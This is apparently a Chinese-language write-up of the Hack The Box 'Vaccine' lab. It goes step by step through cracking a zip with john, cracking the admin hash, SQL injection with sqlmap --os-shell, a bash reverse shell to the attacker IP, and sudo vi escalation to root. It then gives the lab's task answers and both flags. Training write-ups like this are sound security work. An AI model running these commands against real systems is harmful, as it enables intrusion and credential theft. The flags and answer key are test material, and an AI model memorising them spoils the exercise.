文章目录
- 一 Vaccine 测试过程
- 1.1 打点
- 1.1.1 FTP匿名登录
- 1.1.2 SQL注入
- 1.2 权限提升
- 二 题目
一 Vaccine 测试过程
1.1 打点
1.端口扫描
nmap -sV -sC 10.129.191.63
1.1.1 FTP匿名登录
2.FTP允许匿名登录，发现backup.zip
ftp 10.129.191.63
解压backup.zip，但是需要密码：
3.使用john解密backup.zip
# 获得中间Hash文件
zip2john backup.zip > hashes
cat hashes
# 暴力破解hash
john -wordlist=rockyou.txt hashes
使用获取到的密码解压backup.zip 密码：741852963
4.backup.zip文件信息泄漏
解压完成后，发现index.php、style.css，查看index.php，发现用户名admin和密码hash
admin：2cb42f8734ea607eefed3b70af13bbd3
5.破解密码
检测密码2cb42f8734ea607eefed3b70af13bbd3属于哪种hash
hashid 2cb42f8734ea607eefed3b70af13bbd3
爆破hash密码，得到密码是qwerty789
echo '2cb42f8734ea607eefed3b70af13bbd3' > hash
hashcat -a 0 -m 0 hash rockyou.txt
1.1.2 SQL注入
6.访问80端口，admin：qwerty789登录
7.搜索接口使用$searc变量，尝试对其进行注入
sqlmap -u 'http://10.129.191.63/dashboard.php?search=any+query' --cookie="PHPSESSID=3cir5tlpnugpfuqltp7be06o68" -batch
存在注入漏洞，使用sqlmap的os-shell参数获取一个shell
sqlmap -u 'http://10.129.191.63/dashboard.php?search=any+query' --cookie="PHPSESSID=3cir5tlpnugpfuqltp7be06o68" -batch --os-shell
8.获取反弹shell
开启监听：
ncat -lnvp 1234
执行反弹shell：
bash -c "bash -i >& /dev/tcp/10.10.14.20/1234 0>&1"
获取交互式shell：
python3 -c 'import pty;pty.spawn("/bin/bash")'
获取用户flag：
1.2 权限提升
1.在postgres用户shell中寻找有用线索
在/var/www/html目录下发现如下文件：
查看dashboard.php文件发现：
2.使用postgres：P@s5w0rd!进行ssh登录
3.查看sudo权限
sudo -l
输出显示 postgres用户权限下，可以使用sudo权限编辑pg_hba.conf文件。
4.编辑pg_hba.conf获取shell
# 打开pg_hba.conf
sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
# 输入,直接输入 : 进行输入，无须打开编辑模式
:set shell=/bin/sh
# 打开pg_hba.conf
sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
# 输入,直接输入 : 进行输入，无须打开编辑模式,编辑完成使用回车退出
:shell
获取到root权限：
查找flag：
二 题目
Tags
Web、Network、Vulnerability Assessment、Databases、Injection、Custom Applications、Protocols、Source Code Analysis、Apache、PostgreSQL、FTP、PHP、Reconnaissance、Password Cracking、SUDO Exploitation、SQL Injection、Remote Code Execution、Clear Text Credentials、Anonymous/Guest Access
译文：Web、Network、漏洞评估、数据库、注入、自定义应用程序、协议、源代码分析、Apache、PostgreSQL数据库、FTP、PHP、侦察、密码破解、SUDO 开发、SQL注入、远程代码执行、明文凭据、匿名访问
Connect
To attack the target machine, you must be on the same network.Connect to the Starting Point VPN using one of the following options.
It may take a minute for HTB to recognize your connection.If you don't see an update after 2-3 minutes, refresh the page.
译文：要攻击目标机器，您必须位于同一网络上。使用以下选项之一连接到起点 VPN。
HTB 可能需要一分钟才能识别您的连接。如果 2-3 分钟后没有看到更新，请刷新页面。
SPAWN MACHINE
Spawn the target machine and the IP will show here.
译文：生成目标机器，IP 将显示在此处
TASK 1
Besides SSH and HTTP, what other service is hosted on this box?
译文：除了 SSH 和 HTTP 之外，这个盒子上还托管了哪些其他服务？
答：FTP
TASK 2
This service can be configured to allow login with any password for specific username. What is that username?
译文：此服务可以配置为允许使用特定用户名的任何密码登录。那个用户名是什么？
答：anonymous
TASK 3
What is the name of the file downloaded over this service?
译文：通过此服务下载的文件的名称是什么？
答：backup.zip
TASK 4
What script comes with the John The Ripper toolset and generates a hash from a password protected zip archive in a format to allow for cracking attempts?
译文：John The Ripper 工具集附带了什么脚本，并从受密码保护的 zip 存档中以允许破解尝试的格式生成哈希值？
答：zip2john
TASK 5
What is the password for the admin user on the website?
译文：网站上管理员用户的密码是什么？
答：qwerty789
TASK 6
What option can be passed to sqlmap to try to get command execution via the sql injection?
译文：可以向 sqlmap 传递什么选项以尝试通过 sql 注入执行命令？
答：--os-shell
TASK 7
What program can the postgres user run as root using sudo?
译文：postgres 用户可以使用 sudo 以 root 身份运行什么程序？
答：vi
SUBMIT FLAG
Submit user flag
译文：用户flag
答：ec9b13ca4d6229cd5cc1e09980965bf7
SUBMIT FLAG
Submit root flag
译文：提交root flag
答：dd6e058e814260bc70e9bbdef2715849
